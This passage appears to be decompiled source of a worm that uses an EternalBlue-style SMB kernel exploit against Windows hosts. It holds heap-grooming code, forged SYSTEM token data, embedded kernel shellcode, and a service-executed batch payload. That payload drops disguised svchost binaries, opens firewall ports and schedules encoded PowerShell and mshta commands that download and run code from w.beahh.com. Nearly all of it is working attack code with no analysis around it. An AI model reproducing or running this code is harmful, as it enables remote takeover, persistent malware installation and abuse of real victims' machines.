conn . send_trans_secondary ( mid = info [ 'fid' ], data = ' \x00 ' , dataDisplacement = NEXT_TRANS_OFFSET + tinfo [ 'TRANS_MID_OFFSET' ])
wait_for_request_processed ( conn )
recvPkt = conn . send_nt_trans ( 5 , mid = special_mid , param = trans_param , data = '' )
if recvPkt . getNTStatus () == 65538 :
print 'success controlling one transaction'
success = True
if 'arch' not in info :
print 'Target is ' + tinfo [ 'ARCH' ]
info [ 'arch' ] = tinfo [ 'ARCH' ]
info . update ( OS_ARCH_INFO [ info [ 'os' ]][ info [ 'arch' ]])
break
if recvPkt . getNTStatus () != 0 :
print ( 'unexpected return status: 0x {:x} ' ) . format ( recvPkt . getNTStatus ())
if not success :
print ( 'unexpected return status: 0x {:x} ' ) . format ( recvPkt . getNTStatus ())
print '!!! Write to wrong place !!!'
print 'the target might be crashed'
return False
print 'modify parameter count to 0xffffffff to be able to write backward'
conn . send_trans_secondary ( mid = info [ 'fid' ], data = ' \xff\xff\xff\xff ' , dataDisplacement = NEXT_TRANS_OFFSET + info [ 'TRANS_TOTALPARAMCNT_OFFSET' ])
if info [ 'arch' ] == 'x64' :
conn . send_trans_secondary ( mid = info [ 'fid' ], data = ' \xff\xff\xff\xff ' , dataDisplacement = NEXT_TRANS_OFFSET + info [ 'TRANS_INPARAM_OFFSET' ] + 4 )
wait_for_request_processed ( conn )
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info [ 'TRANS_SIZE' ] + 4096 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info [ 'TRANS_SIZE' ] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 4294967296 L - PREV_TRANS_DISPLACEMENT
conn . send_nt_trans_secondary ( mid = special_mid , param = ' \xff\xff\xff\xff ' , paramDisplacement = PREV_TRANS_OFFSET + info [ 'TRANS_TOTALPARAMCNT_OFFSET' ])
if info [ 'arch' ] == 'x64' :
conn . send_nt_trans_secondary ( mid = special_mid , param = ' \xff\xff\xff\xff ' , paramDisplacement = PREV_TRANS_OFFSET + info [ 'TRANS_INPARAM_OFFSET' ] + 4 )
conn . send_trans_secondary ( mid = info [ 'fid' ], data = ' \x00\x00\x00\x00 ' , dataDisplacement = NEXT_TRANS_OFFSET + info [ 'TRANS_INPARAM_OFFSET' ] + 4 )
wait_for_request_processed ( conn )
print 'leak next transaction'
conn . send_trans_secondary ( mid = info [ 'fid' ], data = ' \x05 ' , dataDisplacement = NEXT_TRANS_OFFSET + info [ 'TRANS_FUNCTION_OFFSET' ])
conn . send_trans_secondary ( mid = info [ 'fid' ], data = pack ( '<IIIII' , 4 , 4 , 4 , 256 , 256 ), dataDisplacement = NEXT_TRANS_OFFSET + info [ 'TRANS_PARAMCNT_OFFSET' ])
conn . send_nt_trans_secondary ( mid = special_mid )
leakData = conn . recv_transaction_data ( special_mid , 256 )
leakData = leakData [ 4 :]
if unpack_from ( '<H' , leakData , HEAP_CHUNK_PAD_SIZE )[ 0 ] != TRANS_CHUNK_SIZE // info [ 'POOL_ALIGN' ]:
print 'chunk size is wrong'
return False
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
leakTrans = leakData [ leakTranOffset :]
fmt = info [ 'PTR_FMT' ]
_ , connection_addr , session_addr , treeconnect_addr , flink_value = unpack_from ( '<' + fmt * 5 , leakTrans , 8 )
inparam_value , outparam_value , indata_value = unpack_from ( '<' + fmt * 3 , leakTrans , info [ 'TRANS_INPARAM_OFFSET' ])
trans2_mid = unpack_from ( '<H' , leakTrans , info [ 'TRANS_MID_OFFSET' ])[ 0 ]
print ( 'CONNECTION: 0x {:x} ' ) . format ( connection_addr )
print ( 'SESSION: 0x {:x} ' ) . format ( session_addr )
print ( 'FLINK: 0x {:x} ' ) . format ( flink_value )
print ( 'InData: 0x {:x} ' ) . format ( indata_value )
print ( 'MID: 0x {:x} ' ) . format ( trans2_mid )
trans2_addr = inparam_value - info [ 'TRANS_SIZE' ] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print ( 'TRANS1: 0x {:x} ' ) . format ( trans1_addr )
print ( 'TRANS2: 0x {:x} ' ) . format ( trans2_addr )
print 'modify transaction struct for arbitrary read/write'
TRANS_OFFSET = 4294967296 L - ( info [ 'TRANS_SIZE' ] + TRANS_NAME_LEN )
conn . send_nt_trans_secondary ( mid = info [ 'fid' ], param = pack ( '<' + fmt * 3 , trans1_addr , trans1_addr + 512 , trans2_addr ), paramDisplacement = TRANS_OFFSET + info [ 'TRANS_INPARAM_OFFSET' ])
wait_for_request_processed ( conn )
trans1_mid = conn . next_mid ()
conn . send_trans_secondary ( mid = info [ 'fid' ], param = pack ( '<H' , trans1_mid ), paramDisplacement = info [ 'TRANS_MID_OFFSET' ])
wait_for_request_processed ( conn )
info . update ({ 'connection' : connection_addr , 'session' : session_addr , 'trans1_mid' : trans1_mid , 'trans1_addr' : trans1_addr , 'trans2_mid' : trans2_mid , 'trans2_addr' : trans2_addr })
return True
def create_fake_SYSTEM_UserAndGroups ( conn , info , userAndGroupCount , userAndGroupsAddr ):
SID_SYSTEM = pack ( '<BB5xBI' , 1 , 1 , 5 , 18 )
SID_ADMINISTRATORS = pack ( '<BB5xBII' , 1 , 2 , 5 , 32 , 544 )
SID_AUTHENICATED_USERS = pack ( '<BB5xBI' , 1 , 1 , 5 , 11 )
SID_EVERYONE = pack ( '<BB5xBI' , 1 , 1 , 1 , 0 )
sids = [ SID_SYSTEM , SID_ADMINISTRATORS , SID_EVERYONE , SID_AUTHENICATED_USERS ]
attrs = [ 0 , 14 , 7 , 7 ]
fakeUserAndGroupCount = min ( userAndGroupCount , 4 )
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + fakeUserAndGroupCount * info [ 'PTR_SIZE' ] * 2
fakeUserAndGroups = ''
for sid , attr in zip ( sids [: fakeUserAndGroupCount ], attrs [: fakeUserAndGroupCount ]):
fakeUserAndGroups += pack ( '<' + info [ 'PTR_FMT' ] * 2 , addr , attr )
addr += len ( sid )
fakeUserAndGroups += ( '' ) . join ( sids [: fakeUserAndGroupCount ])
return ( fakeUserAndGroupCount , fakeUserAndGroups )
def exploit ( target , pipe_name , USERNAME , PASSWORD , tg ):
conn = MYSMB ( target )
conn . get_socket () . setsockopt ( socket . IPPROTO_TCP , socket . TCP_NODELAY , 1 )
info = {}
conn . login ( USERNAME , PASSWORD , maxBufferSize = 4356 )
server_os = conn . get_server_os ()
print 'Target OS: ' + server_os
if server_os . startswith ( 'Windows 7 ' ) or server_os . startswith ( 'Windows Server 2008 R2' ):
info [ 'os' ] = 'WIN7'
info [ 'method' ] = exploit_matched_pairs
elif server_os . startswith ( 'Windows 8' ) or server_os . startswith ( 'Windows Server 2012 ' ) or server_os . startswith ( 'Windows Server 2016 ' ) or server_os . startswith ( 'Windows 10' ) or server_os . startswith ( 'Windows RT 9200' ):
info [ 'os' ] = 'WIN8'
info [ 'method' ] = exploit_matched_pairs
elif server_os . startswith ( 'Windows Server (R) 2008' ) or server_os . startswith ( 'Windows Vista' ):
info [ 'os' ] = 'WIN7'
info [ 'method' ] = exploit_fish_barrel
elif server_os . startswith ( 'Windows Server 2003 ' ):
info [ 'os' ] = 'WIN2K3'
info [ 'method' ] = exploit_fish_barrel
elif server_os . startswith ( 'Windows 5.1' ):
info [ 'os' ] = 'WINXP'
info [ 'arch' ] = 'x86'
info [ 'method' ] = exploit_fish_barrel
elif server_os . startswith ( 'Windows XP ' ):
info [ 'os' ] = 'WINXP'
info [ 'arch' ] = 'x64'
info [ 'method' ] = exploit_fish_barrel
elif server_os . startswith ( 'Windows 5.0' ):
info [ 'os' ] = 'WIN2K'
info [ 'arch' ] = 'x86'
info [ 'method' ] = exploit_fish_barrel
else :
print 'This exploit does not support this target'
if pipe_name is None :
pipe_name = find_named_pipe ( conn )
if pipe_name is None :
print 'Not found accessible named pipe'
return False
print 'Using named pipe: ' + pipe_name
if not info [ 'method' ]( conn , pipe_name , info ):
return False
fmt = info [ 'PTR_FMT' ]
print 'make this SMB session to be SYSTEM'
write_data ( conn , info , info [ 'session' ] + info [ 'SESSION_ISNULL_OFFSET' ], ' \x00\x01 ' )
sessionData = read_data ( conn , info , info [ 'session' ], 256 )
secCtxAddr = unpack_from ( '<' + fmt , sessionData , info [ 'SESSION_SECCTX_OFFSET' ])[ 0 ]
if 'PCTXTHANDLE_TOKEN_OFFSET' in info :
if 'SECCTX_PCTXTHANDLE_OFFSET' in info :
pctxtDataInfo = read_data ( conn , info , secCtxAddr + info [ 'SECCTX_PCTXTHANDLE_OFFSET' ], 8 )
pctxtDataAddr = unpack_from ( '<' + fmt , pctxtDataInfo )[ 0 ]
else :
pctxtDataAddr = secCtxAddr
tokenAddrInfo = read_data ( conn , info , pctxtDataAddr + info [ 'PCTXTHANDLE_TOKEN_OFFSET' ], 8 )
tokenAddr = unpack_from ( '<' + fmt , tokenAddrInfo )[ 0 ]
print ( 'current TOKEN addr: 0x {:x} ' ) . format ( tokenAddr )
tokenData = read_data ( conn , info , tokenAddr , 64 * info [ 'PTR_SIZE' ])
userAndGroupsAddr , userAndGroupCount , userAndGroupsAddrOffset , userAndGroupCountOffset = get_group_data_from_token ( info , tokenData )
print 'overwriting token UserAndGroups'
fakeUserAndGroupCount , fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups ( conn , info , userAndGroupCount , userAndGroupsAddr )
if fakeUserAndGroupCount != userAndGroupCount :
write_data ( conn , info , tokenAddr + userAndGroupCountOffset , pack ( '<I' , fakeUserAndGroupCount ))
write_data ( conn , info , userAndGroupsAddr , fakeUserAndGroups )
else :
secCtxData = read_data ( conn , info , secCtxAddr , info [ 'SECCTX_SIZE' ])
print 'overwriting session security context'
write_data ( conn , info , secCtxAddr , info [ 'FAKE_SECCTX' ])
try :
smb_pwn ( conn , info [ 'arch' ], tg )
except :
pass
if 'PCTXTHANDLE_TOKEN_OFFSET' in info :
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data ( conn , info , userAndGroupsAddr , tokenData [ userAndGroupsOffset : userAndGroupsOffset + len ( fakeUserAndGroups )])
if fakeUserAndGroupCount != userAndGroupCount :
write_data ( conn , info , tokenAddr + userAndGroupCountOffset , pack ( '<I' , userAndGroupCount ))
else :
write_data ( conn , info , secCtxAddr , secCtxData )
conn . disconnect_tree ( conn . get_tid ())
conn . logoff ()
conn . get_socket () . close ()
time . sleep ( 2 )
return True
def validate_token_offset ( info , tokenData , userAndGroupCountOffset , userAndGroupsAddrOffset ):
userAndGroupCount , RestrictedSidCount = unpack_from ( '<II' , tokenData , userAndGroupCountOffset )
userAndGroupsAddr , RestrictedSids = unpack_from ( '<' + info [ 'PTR_FMT' ] * 2 , tokenData , userAndGroupsAddrOffset )
success = True
if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0 :
print 'Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!'
print ( 'RestrictedSids: 0x {:x} ' ) . format ( RestrictedSids )
print ( 'RestrictedSidCount: 0x {:x} ' ) . format ( RestrictedSidCount )
success = False
print ( 'userAndGroupCount: 0x {:x} ' ) . format ( userAndGroupCount )
print ( 'userAndGroupsAddr: 0x {:x} ' ) . format ( userAndGroupsAddr )
return ( success , userAndGroupCount , userAndGroupsAddr )
def get_group_data_from_token ( info , tokenData ):
userAndGroupCountOffset = info [ 'TOKEN_USER_GROUP_CNT_OFFSET' ]
userAndGroupsAddrOffset = info [ 'TOKEN_USER_GROUP_ADDR_OFFSET' ]
success , userAndGroupCount , userAndGroupsAddr = validate_token_offset ( info , tokenData , userAndGroupCountOffset , userAndGroupsAddrOffset )
if not success and info [ 'os' ] == 'WINXP' and info [ 'arch' ] == 'x86' :
print 'Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround'
userAndGroupCountOffset = info [ 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1' ]
userAndGroupsAddrOffset = info [ 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1' ]
success , userAndGroupCount , userAndGroupsAddr = validate_token_offset ( info , tokenData , userAndGroupCountOffset , userAndGroupsAddrOffset )
if not success :
print 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
return (
userAndGroupsAddr , userAndGroupCount , userAndGroupsAddrOffset , userAndGroupCountOffset )
def smb_pwn ( conn , arch , tg ):
ee = ''
eb = 'c: \\ windows \\ system32 \\ calc.exe'
smbConn = conn . get_smbconnection ()
if os . path . exists ( 'c:/windows/system32/svhost.exe' ):
eb = 'c: \\ windows \\ system32 \\ svhost.exe'
if os . path . exists ( 'c:/windows/SysWOW64/svhost.exe' ):
eb = 'c: \\ windows \\ SysWOW64 \\ svhost.exe'
if os . path . exists ( 'c:/windows/system32/drivers/svchost.exe' ):
eb = 'c: \\ windows \\ system32 \\ drivers \\ svchost.exe'
if os . path . exists ( 'c:/windows/SysWOW64/drivers/svchost.exe' ):
eb = 'c: \\ windows \\ SysWOW64 \\ drivers \\ svchost.exe'
service_exec ( conn , 'cmd /c net share c$=c:' )
if tg == 2 :
smb_send_file ( smbConn , eb , 'c' , '/installed2.exe' )
else :
smb_send_file ( smbConn , eb , 'c' , '/installed.exe' )
if os . path . exists ( 'c:/windows/temp/svvhost.exe' ):
ee = 'c: \\ windows \\ temp \\ svvhost.exe'
if os . path . exists ( 'c:/windows/temp/svchost.exe' ):
ee = 'c: \\ windows \\ temp \\ svchost.exe'
if '.exe' in ee :
smb_send_file ( smbConn , ee , 'c' , '/windows/temp/svchost.exe' )
else :
print 'no eb**************************'
if tg == 2 :
bat = 'cmd /c c: \\ installed2.exe&c: \\ installed2.exe&echo c: \\ installed2.exe >c:/windows/temp/p.bat&echo c: \\ windows \\ temp \\ svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn " \\ Microsoft \\ windows \\ Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %% i in ( \' tasklist ^^^| find /c /i "cmd.exe" \' ^) do set s= %% i >>c:/windows/temp/p.bat&echo if %s% g tr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c: \\ windows \\ temp \\ p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
else :
bat = 'cmd /c c: \\ installed.exe&c: \\ installed.exe&echo c: \\ installed.exe >c:/windows/temp/p.bat&echo c: \\ windows \\ temp \\ svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn " \\ Microsoft \\ windows \\ Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %% i in ( \' tasklist ^^^| find /c /i "cmd.exe" \' ^) do set s= %% i >>c:/windows/temp/p.bat&echo if %s% g tr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c: \\ windows \\ temp \\ p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
service_exec ( conn , bat )
def smb_send_file ( smbConn , localSrc , remoteDrive , remotePath ):
with open ( localSrc , 'rb' ) as fp :
smbConn . putFile ( remoteDrive + '$' , remotePath , fp . read )
def service_exec ( conn , cmd ):
import random
random . choice = random . choice
random . randint = random . randint
import string
from impacket.dcerpc.v5 import transport , srvs , scmr
service_name = ( '' ) . join ([ random . choice ( string . letters ) for i in range ( 4 )])
rpcsvc = conn . get_dce_rpc ( 'svcctl' )
rpcsvc . connect ()
rpcsvc . bind ( scmr . MSRPC_UUID_SCMR )
svcHandle = None
try :
try :
print 'Opening SVCManager on %s .....' % conn . get_remote_host ()
resp = scmr . hROpenSCManagerW ( rpcsvc )
svcHandle = resp [ 'lpScHandle' ]
try :
resp = scmr . hROpenServiceW ( rpcsvc , svcHandle , service_name + ' \x00 ' )
except Exception as e :
if str ( e ) . find ( 'ERROR_SERVICE_DOES_NOT_EXIST' ) == - 1 :
raise e
else :
scmr . hRDeleteService ( rpcsvc , resp [ 'lpServiceHandle' ])
scmr . hRCloseServiceHandle ( rpcsvc , resp [ 'lpServiceHandle' ])
print 'Creating service %s .....' % service_name
resp = scmr . hRCreateServiceW ( rpcsvc , svcHandle , service_name + ' \x00 ' , service_name + ' \x00 ' , lpBinaryPathName = cmd + ' \x00 ' )
serviceHandle = resp [ 'lpServiceHandle' ]
if serviceHandle :
try :
print 'Starting service %s .....' % service_name
scmr . hRStartServiceW ( rpcsvc , serviceHandle )
time . sleep ( 2 )
print 'Stoping service %s .....' % service_name
scmr . hRControlService ( rpcsvc , serviceHandle , scmr . SERVICE_CONTROL_STOP )
time . sleep ( 2 )
except Exception as e :
print str ( e )
print 'Removing service %s .....' % service_name
scmr . hRDeleteService ( rpcsvc , serviceHandle )
scmr . hRCloseServiceHandle ( rpcsvc , serviceHandle )
except Exception as e :
print 'ServiceExec Error on: %s ' % conn . get_remote_host ()
print str ( e )
finally :
if svcHandle :
scmr . hRCloseServiceHandle ( rpcsvc , svcHandle )
rpcsvc . disconnect ()
scode = '31c0400f84be03000060e8000000005be823000000b9760100000f328d7b3c39f87411394500740689450089550889f831d20f3061c224008dab00100000c1ed0cc1e50c81ed50000000c3b92300000068300000000fa18ed98ec1648b0d400000008b6104519c60e8000000005be8c5ffffff8b450005170000008944242431c09942f00fb055087512b976010000998b45000f30fbe804000000fa619dc38b4500c1e80cc1e00c2d001000006681384d5a75f4894504b8787cf4dbe8e100000097b83f5f647757e8d500000029f889c13d70010000750505080000008d581c8d341f64a1240100008b3689f229c281fa0004000077f252b8e1140117e8a70000008b400a8d50048d340fe8d70000003d5a6afac174113dd883e03e740a8b3c1729d7e9e0ffffff897d0c8d1c1f8d75105f8b5b04b83e4cf8cee86a0000008b400a3ca077022c0829f8817c03fc0000000074de31c05568010000005550e800000000810424950000005053293c2456b8c45c196de82800000031c050505056b83446ccafe81800000085c074a48b451c80780e01740a8900894004e991ffffffc3e802000000ffe0608b6d04978b453c8b54057801ea8b4a188b5a2001eb498b348b01eee81d00000039f875f18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c35231c099acc1ca0d01c285c075f6925ac358894424105859585a6052518b2831c064a22400000099b04050c1e0065054528911514a52b8ea996e57e87bffffff85c07553588b38e8000000005e81c659000000b900040000f3a48b450c50b848b818b8e853ffffff8b400c8b40148b0066817824180075f68b5028817a0c3300320075ea8b5810895d04b85e515e83e82effffff59890131c08845084064a22400000061c35a585859515151e8000000008104240c000000515152ffe0dadeba67042d06d97424f45d31c9b14383c504315513033217cff340ff8dfcb800f2755d3132e1166282617a8f69276e041fe081adaad6ac2e862bafacd57f0f8c15724ec9487f028207d2b2a752ef39fb7377de4c755671c62c78700b45316a48608b01ba1e0ac3f2dfa12a3b12bb6bfccdce85fe70c9527caf5c402624c6acd6e99127d446d56ff9593a0405d1bdca8fa199ced4728357b1d5bc871a8918ccb7de108fdd21a6aa9022b8b4844a893f4b0c16ea2ff2f43e5a9ba0abe7c652062bffd0a2d404c8c7d1414e34a8da3b3a1fda6959f240b2b26fa9dca91b89554281bbb5cf7154856ba2cfd11791651b84bf1f081d60cfcf0504297ea0b01512455a3786feeed823702f46a81d46e659aeec84f824621b88e417e306d78333f87628500655e82e000000b9820000c00f324c8d0d370000004439c87419394500740a895504894500c645f8004991505a48c1ea200f305dc3488d2d0010000048c1ed0c48c1e50c4881ed70000000c30f01f865488924251000000065488b2425a8010000682b00000065ff342510000000505055e8bfffffff488b450048051f00000048894424105152415041514152415331c0b201f00fb055f87514b9820000c08b45008b55040f30fbe80e000000fa415b415a415941585a595d58c341574156575653504c8b7d0049c1ef0c49c1e70c4981ef001000006641813f4d5a75f14c897d08654c8b342588010000bf787cf4dbe8180100004891bf3f5f6477e8130100008b400389c33d0004000072050510000000488d50284c8d04114d89c14d8b094d39c80f84db0000004c89c84c29f0483d0007000077e64d29cebfe1140117e8d00000008b780381c708000000488d3419e8060100003d5a6afac174133dd883e03e740c488b0c394829f9e9ddffffffbf48b818b8e893000000488945f0488d34114889f3488b5b084839de74f74a8d1433bf3e4cf8cee8780000008b400348817c02f80000000074db488d4d104d31c04c8d0db50000005568010000005541504881ec20000000bfc45c196de83b000000488d4d104d31c9bf3446ccafe82a0000004881c44000000085c07497488b452080781a01740c48890048894008e981ffffff585b5e5f415e415fc3e802000000ffe0535156418b473c418b8407880000004c01f8508b48188b58204c01fbffc98b348b4c01fee81f00000039f875ef588b58244c01fb668b0c4b8b581c4c01fb8b048b4c01f85e595bc35231c099acc1ca0d01c285c075f6925ac3555357564157498b284c8b7d08525e4c89cb31c0440f22c048890289c148f7d14989c0b04050c1e006504989014881ec20000000bfea996e57e862ffffff4881c43000000085c07546488b3e488d354e000000b900060000f3a4488b45f0488b4018488b4020488b0066817848180075f5488b5050817a0c3300320075e84c8b7820bf5e515e83e81bffffff48890331c9884df8b101440f22c1415f5e5f5b5dc3489231c951514989c94c8d051300000089ca4881ec20000000ffd04881c430000000c3dac4d97424f4be15624e335f33c9b15731771a83c704037716e2e09e06b0eeaf7f76ee4f8036bf0ed0ea6ec7983b428250b7302d294ce6b5e1d954e6b9562ab671667d7cc835b04884f472e629960ef57d78af38b4756eba86649dee49381584189a2ed8a092310d53a2b9ad64a3f128a4d7667b24c838f06ef0fc8d2f20b5907fc313db80cdda504a469467651b15a1c195959d9314dcd352961fd3b4ed6e683642b4797d63650ca5cbc16415c8807b467653f76a3f178c33a3de93639a6b970b556a484a3e2d3013e7f781f3565e435e11e3af7ee0b1d09fba74763a73fd9a53d4fe645c864821a2394855a5394855edb4c554ecc6d51754f75ef82f07b5bcd0e51fc9
sc = binascii . unhexlify ( scode )
NTFEA_SIZE = 69632
ntfea10000 = pack ( '<BBH' , 0 , 0 , 65501 ) + 'A' * 65502
ntfea11000 = ( pack ( '<BBH' , 0 , 0 , 0 ) + ' \x00 ' ) * 600
ntfea11000 += pack ( '<BBH' , 0 , 0 , 62397 ) + 'A' * 62398
ntfea1f000 = ( pack ( '<BBH' , 0 , 0 , 0 ) + ' \x00 ' ) * 9364
ntfea1f000 += pack ( '<BBH' , 0 , 0 , 18669 ) + 'A' * 18670
ntfea = { 65536 : ntfea10000 , 69632 : ntfea11000 }
TARGET_HAL_HEAP_ADDR_x64 = 18446744073706405904 L
TARGET_HAL_HEAP_ADDR_x86 = 4292866048 L
fakeSrvNetBufferNsa = pack ( '<II' , 69632 , 0 ) * 2
fakeSrvNetBufferNsa += pack ( '<HHI' , 65535 , 0 , 0 ) * 2
fakeSrvNetBufferNsa += ' \x00 ' * 16
fakeSrvNetBufferNsa += pack ( '<IIII' , TARGET_HAL_HEAP_ADDR_x86 + 256 , 0 , 0 , TARGET_HAL_HEAP_ADDR_x86 + 32 )
fakeSrvNetBufferNsa += pack ( '<IIHHI' , TARGET_HAL_HEAP_ADDR_x86 + 256 , 0 , 96 , 4100 , 0 )
fakeSrvNetBufferNsa += pack ( '<IIQ' , TARGET_HAL_HEAP_ADDR_x86 - 128 , 0 , TARGET_HAL_HEAP_ADDR_x64 )
fakeSrvNetBufferNsa += pack ( '<QQ' , TARGET_HAL_HEAP_ADDR_x64 + 256 , 0 )
fakeSrvNetBufferNsa += pack ( '<QHHI' , 0 , 96 , 4100 , 0 )
fakeSrvNetBufferNsa += pack ( '<QQ' , 0 , TARGET_HAL_HEAP_ADDR_x64 - 128 )
fakeSrvNetBufferX64 = pack ( '<II' , 69632 , 0 ) * 2
fakeSrvNetBufferX64 += pack ( '<HHIQ' , 65535 , 0 , 0 , 0 )
fakeSrvNetBufferX64 += ' \x00 ' * 16
fakeSrvNetBufferX64 += ' \x00 ' * 16
fakeSrvNetBufferX64 += ' \x00 ' * 16
fakeSrvNetBufferX64 += pack ( '<IIQ' , 0 , 0 , TARGET_HAL_HEAP_ADDR_x64 )
fakeSrvNetBufferX64 += pack ( '<QQ' , TARGET_HAL_HEAP_ADDR_x64 + 256 , 0 )
fakeSrvNetBufferX64 += pack ( '<QHHI' , 0 , 96 , 4100 , 0 )
fakeSrvNetBufferX64 += pack ( '<QQ' , 0 , TARGET_HAL_HEAP_ADDR_x64 - 128 )
fakeSrvNetBuffer = fakeSrvNetBufferNsa
feaList = pack ( '<I' , 65536 )
feaList += ntfea [ NTFEA_SIZE ]
feaList += pack ( '<BBH' , 0 , 0 , len ( fakeSrvNetBuffer ) - 1 ) + fakeSrvNetBuffer
feaList += pack ( '<BBH' , 18 , 52 , 22136 )
fake_recv_struct = pack ( '<QII' , 0 , 3 , 0 )
fake_recv_struct += ' \x00 ' * 16
fake_recv_struct += pack ( '<QII' , 0 , 3 , 0 )
fake_recv_struct += ' \x00 ' * 16 * 7
fake_recv_struct += pack ( '<QQ' , TARGET_HAL_HEAP_ADDR_x64 + 160 , TARGET_HAL_HEAP_ADDR_x64 + 160 )
fake_recv_struct += ' \x00 ' * 16
fake_recv_struct += pack ( '<IIQ' , TARGET_HAL_HEAP_ADDR_x86 + 192 , TARGET_HAL_HEAP_ADDR_x86 + 192 , 0 )
fake_recv_struct += ' \x00 ' * 16 * 11
fake_recv_struct += pack ( '<QII' , 0 , 0 , TARGET_HAL_HEAP_ADDR_x86 + 400 )
fake_recv_struct += pack ( '<IIQ' , 0 , TARGET_HAL_HEAP_ADDR_x86 + 496 - 1 , 0 )
fake_recv_struct += ' \x00 ' * 16 * 3
fake_recv_struct += pack ( '<QQ' , 0 , TARGET_HAL_HEAP_ADDR_x64 + 480 )
fake_recv_struct += pack ( '<QQ' , 0 , TARGET_HAL_HEAP_ADDR_x64 + 496 - 1 )
def getNTStatus ( self ):
return self [ 'ErrorCode' ] << 16 | self [ '_reserved' ] << 8 | self [ 'ErrorClass' ]
setattr ( smb . NewSMBPacket , 'getNTStatus' , getNTStatus )
def sendEcho ( conn , tid , data ):
pkt = smb . NewSMBPacket ()
pkt [ 'Tid' ] = tid
transCommand = smb . SMBCommand ( smb . SMB . SMB_COM_ECHO )
transCommand [ 'Parameters' ] = smb . SMBEcho_Parameters ()
transCommand [ 'Data' ] = smb . SMBEcho_Data ()
transCommand [ 'Parameters' ][ 'EchoCount' ] = 1
transCommand [ 'Data' ][ 'Data' ] = data
pkt . addCommand ( transCommand )
conn . sendSMB ( pkt )
recvPkt = conn . recvSMB ()
if recvPkt . getNTStatus () == 0 :
print 'got good ECHO response'
else :
print ( 'got bad ECHO response: 0x {:x} ' ) . format ( recvPkt . getNTStatus ())
def createSessionAllocNonPaged ( target , size ):
conn = smb . SMB ( target , target )
_ , flags2 = conn . get_flags ()
flags2 &= ~ smb . SMB . FLAGS2_EXTENDED_SECURITY
if size >= 65535 :
flags2 &= ~ smb . SMB . FLAGS2_UNICODE
reqSize = size // 2
else :
flags2 |= smb . SMB . FLAGS2_UNICODE
reqSize = size
conn . set_flags ( flags2 = flags2 )
pkt = smb . NewSMBPacket ()
